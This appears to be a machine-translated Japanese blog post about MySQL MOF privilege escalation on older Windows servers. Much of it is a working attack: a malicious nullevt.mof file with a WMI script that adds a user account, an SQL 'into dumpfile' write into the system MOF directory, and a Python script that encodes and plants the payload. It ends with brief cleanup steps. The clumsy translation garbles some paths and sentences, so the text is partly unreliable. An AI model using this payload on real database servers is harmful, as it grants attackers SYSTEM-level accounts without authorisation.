mysql mofの権利研究について


何気なくmysqlに関するこのような権利主張を見て、暇な時間に研究してみると、ネット上には詳しく書かれていないところがたくさんあり、研究の時もしばらく殻が詰まっていた.
利用前提:
  • オペレーティングシステムはwindows
  • オペレーティングシステムのバージョンは高すぎるべきではありません.2008年のテストに合格しません.2003は(システム32のディレクトリにアクセスする必要があるため)またはmysql起動アイデンティティがc:/windows/system 32/mofディレクトリ
  • にアクセスおよび書き込む権限を持っています.
  • データベースはmysqlであり、mysqlログインアカウントのパスワードと外部接続の許可(またはsql注入またはwebshellでの操作が存在し、実践されていない)
  • を知っている.
    まず原理を簡単に紹介する(ネット上と個人の実践から抜粋して得た)
    c:/windows/system 32/mofディレクトリのnullevt.mofファイルは5秒ごとに自動的に実行する消失し、その後に新しいファイルが作成されない場合、5秒ごとに前のnullevtがループ実行される.mofの内容は、悪意のあるコードをファイルに書き込むだけです.
    ネット上でnullevt.が公開されています.mofでの利用コード
    #pragma namespace(“\\\\.\\root\\subscription”)
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = “Root\\Cimv2”;
    Name = “filtP2”;
    Query = “Select * From __InstanceModificationEvent “
    “Where TargetInstance Isa \”Win32_LocalTime\” “
    “And TargetInstance.Second = 5”;
    QueryLanguage = “WQL”;
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = “consPCSV2”;
    ScriptingEngine = “JScript”;
    ScriptText =
    “var WSH = new ActiveXObject(\”WScript.Shell\”)
    WSH.run(\”net.exe user xxx xxx /add\”)“; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

    一般的な使用手順は次のとおりです.
  • このファイルをサーバ上の任意の場所にアップロードし、名前は任意の
  • です.
  • mysql文select load_を介してfile(アップロードされたファイルパス)into dumpfile'c:/windows/system 32/mof/nullevt.mof'

  • はい、アップロードに成功すれば、しばらくすると埋め込まれたコードが実行されます.
    個人的にファイルをアップロードするのは面倒だと思いますが、直接select'xx'intoをselectできますか?試して、その内容をトランスコードしてから検索すればいいです.pyコードの一部をプレゼンテーションとして提供します.
    mysqlのchar関数を使用して解決
    payload = r'''
    #pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter
     {
     EventNamespace = "Root\\Cimv2";
     Name = "filtP2";
     Query = "Select * From __InstanceModificationEvent "
     "Where TargetInstance Isa \"Win32_LocalTime\" "
     "And TargetInstance.Second = 5";
     QueryLanguage = "WQL";
     };
    
    instance of ActiveScriptEventConsumer as $Consumer
     {
     Name = "consPCSV2";
     ScriptingEngine = "JScript";
     ScriptText =
     "var WSH = new ActiveXObject(\"WScript.Shell\")
    WSH.run(\"net.exe user xxxx xxx /add\")";  }; instance of __FilterToConsumerBinding  {  Consumer = $Consumer;  Filter = $EventFilter;  }; ''' ascii_payload = '' for each_chr in payload:     ascii_payload += str(ord(each_chr)) + ',' ascii_payload = ascii_payload[:-1] cur = conn.cursor() sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload cur.execute(sql)

    mofはsystemによって実行されるため,権限はユーザの作成,管理者の追加などの操作を満たし,権限付与プロセスを完了する.
    サーバがmof権限が使用されていることを発見した場合、ループ作成ユーザーをどのように解決しますか?
    cmdを開くには、次のコマンドを使用します.
    net stop winmgmt
    フォルダの下の内容c:/windows/system 32/wbem/repositoryを削除
    net start winmgmt
    すぐ
    まちがった点はご指摘ください